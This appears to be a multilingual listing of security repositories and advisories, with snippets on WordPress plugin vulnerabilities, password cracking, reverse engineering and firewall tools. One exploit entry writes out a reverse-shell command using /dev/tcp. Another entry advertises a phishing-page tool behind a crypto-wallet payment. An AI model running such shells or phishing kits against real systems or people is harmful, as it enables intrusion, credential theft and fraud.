witcher

witcher Implement and monitor Appsec control at scale. Requirements NodeJS 20.13 Tested on Mac Ubuntu How to install $ git clone [email protected]:mf-labs/witcher.git $ cd witcher $ npm i Build a Docker image $ git clone [email protected]:mf-labs/witcher.git $ cd witcher $ docker build ...

AdvPhishing

查看 Mp4：https://www.instagram.com/tukbuck/reel/DTBBBknj-nd/ 注意：如果你想激活此工具，或想要一个功能正常的相同项目，请先付费：ETH（ERC20）钱包地址： 0xe48df3c0e1713518096c7d2d0a2dce70aa85cd33 关注社交媒体平台 支持我们 想学习创建专业钓鱼页面、道德黑客、漏洞赏金？请访问 - https://secnhack.in 加入我们的 WhatsApp 群组，获取解答并学习黑客技术 https://chat.whatsapp.com/J6FCipjBwg76UGI7Px2oae --...

CVE-2026-14281-check

Comprobador de CVE-2026-14281 Un comprobador de seguridad en Python ligero y compatible con Windows para identificar instalaciones de WordPress que puedan verse afectadas por CVE-2026-14281. La herramienta realiza comprobaciones pasivas y no destructivas. No explota la vulnerabilidad, no crea...

cve-2022-27438

CVE-2022-27438 Caphyon Ltd Advanced Installer 19.3: vulnerabilidad de ejecución remota de código en la comprobación de actualizaciones "CustomDetection". Uso: python3 cve-2022-27438poc.py Detalles en el informe en gerr.re. Pasos para reproducir Para otros productos afectados, debe cambiar el...

john

John the Ripper This is the community-enhanced, "jumbo" version of John the Ripper. It has a lot of code, documentation, and data contributed by jumbo developers and the user community. It is easy for new code to be added to jumbo, and the quality requirements are low, although lately we've start...

ABD

高级二进制反混淆 本仓库包含了2020年在全球网络安全营（GCC）东京和安全营全国研讨会上举办的“高级二进制反混淆”课程材料。 课程简介 逆向工程并不容易，尤其当二进制代码被混淆时。一旦实施了混淆，仅凭朴素的技术将无法准确分析该二进制。在本课程中，你将学习混淆原理（特别是恶意软件使用的）、混淆代码分析的理论与实践，以及如何编写自己的反混淆工具。我们将深入探讨数据流分析和基于SAT/SMT的二进制分析（例如符号执行），以使混淆失效。 课程大纲 本课程关于二进制反混淆，面向希望将编写自己工具的技能纳入武器库的安全分析师和研究人员（萌芽阶段）。课程结束时，学员将能够：...

simplewall

simplewall 绝对适合高级用户。 描述： 用于配置 Windows 筛选平台 WFP 的简单工具，可以配置计算机上的网络活动。 该轻量级应用程序小于一兆字节，兼容 Windows 7 SP1 及更高版本的操作系统。 您可以下载安装版或便携版。要正确运行，您需要管理员权限。 注意： 请记住，simplewall 不是 Windows 防火墙的控制 UI，并且不与 Windows 防火墙进行任何级别的交互。它通过 Windows 筛选平台 WFP 工作，这是一组内部 API 和系统服务，为创建网络筛选应用程序提供平台。Windows 筛选平台是一种开发技术，本身不是防火墙，而...

CVE-2024-25503

CVE-2024-25503 Tipo de vulnerabilidad: Cross Site Scripting XSS Producto: Aplicación de escritorio Advanced REST Client Versión vulnerable: 17.0.9 Vendedor del producto:https://www.advancedrestclient.com/ 1. Descripción La vulnerabilidad de Cross-Site Scripting XSS en Advanced REST Client v.17.0....

CVE-2025-39538

🛡️ CVE-2025-39538 - WordPress WP-Advanced-Search = 3.3.9.3 Subida Arbitraria de Archivos CVE-2025-39538 Publicado: 2025-04-16 Tipo de Vulnerabilidad: Subida Arbitraria de Archivos Subida sin Restricciones de Archivos con Tipo Peligroso Plugin Afectado: WP-Advanced-Search por Mathieu Chartier...

PyStat

PyStat - 适用于Windows的高级Netstat 兼容Python 2.7版本 功能 了解进程的远程地址 了解进程的远程端口 了解哪个用户在使用进程以及标题和PID 更新日志： 在install.py中添加了自动安装python模块的支持 安装指南： 下载.zip文件 将.zip文件中的pystat文件夹解压到某个驱动器，例如C:\tools\pystat 转到C:\tools\pystat，按住SHIFT键并右键单击，选择“在此处打开命令窗口” 输入此命令python install.py，尽情享受吧 警告！安装后请勿移动pystat文件夹，否则将停止工作 正在开发中！...

codeql

CodeQL Este repositorio de código abierto contiene las bibliotecas y consultas estándar de CodeQL que impulsan GitHub Advanced Security y los demás productos de seguridad de aplicaciones que GitHub pone a disposición de sus clientes en todo el mundo. ¿Cómo aprendo CodeQL y ejecuto consultas? Exis...

EUVD-2026-91963

The Smart Manager – Advanced WooCommerce Bulk Edit & Inventory Management plugin for WordPress is vulnerable to generic SQL Injection via the 'accessprivileges' parameter in all versions up to, and including, 8.97.0 due to insufficient escaping on the user supplied parameter and lack of sufficien...

CVE-2009-4623

Advanced Comment System 1.0 - Ejecución Remota de Comandos RCE https://nvd.nist.gov/vuln/detail/CVE-2009-4623 Ejemplos python3 exploit.py http://127.0.0.1 uname -a python3 exploit.py http://127.0.0.1 'bash -i & /dev/tcp/127.0.0.1/443 0&1'...

androguard

Androguard Androguard: Reverse engineering and pentesting for Android applications Androguard 5 is a Python toolkit for Android reverse engineering: open an APK, inspect the manifest and DEX, disassemble or decompile code, hunt references and vulnerabilities, and optionally patch or analyze nativ...

cve-2020-5902-ioc-bigip-checker

CVE-2020-5902 Herramienta de Detección de IoC Este script está diseñado para ser ejecutado localmente en un F5 BIG-IP en Advanced Shell bash por un usuario con privilegios de root; no está diseñado para ser ejecutado en ningún otro entorno. Nota: El modo Appliance no permite el acceso a Advanced...

uddup

UDdup - URLs Deduplication Tool The tool gets a list of URLs, and removes "duplicate" pages in the sense of URL patterns that are probably repetitive and points to the same web template. For example: https://www.example.com/product/123 https://www.example.com/product/456...

raven

Raven - Advanced Cyber Threat Map Simplified, customizable and responsive. It uses D3.js with TOPO JSON, has 247 countries, 100,000 cities, and can be used in an isolated environment without external lookups!. Structure Offline - Demo Firefox, Chrome or Safari Live - Regression 500 attacks at onc...

WordPress Advanced Access Manager - Path Traversal

The Advanced Access Manager plugin for WordPress is vulnerable to Unauthenticated Arbitrary File Read in versions up to, and including, 5.9.8.1 due to insufficient validation on the aam-media parameter. This allows unauthenticated attackers to read any file on the server, including sensitive file...

Advanced Responsive Video Embedder 10.8.7/10.8.8 - Hardcoded Backdoor Authentication Bypass

The compromised Advanced Responsive Video Embedder WordPress plugin releases 10.8.7 and 10.8.8 accept a hardcoded token through the wplogin parameter and establish an authenticated administrator session before normal authentication. A single unauthenticated GET request triggers the backdoor. This...

WordPress WP-Advanced-Search <= 3.3.9 - SQL Injection

The WordPress WP-Advanced-Search plugin for WordPress is vulnerable to SQL Injection in all versions up to, and including, 3.3.9 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated...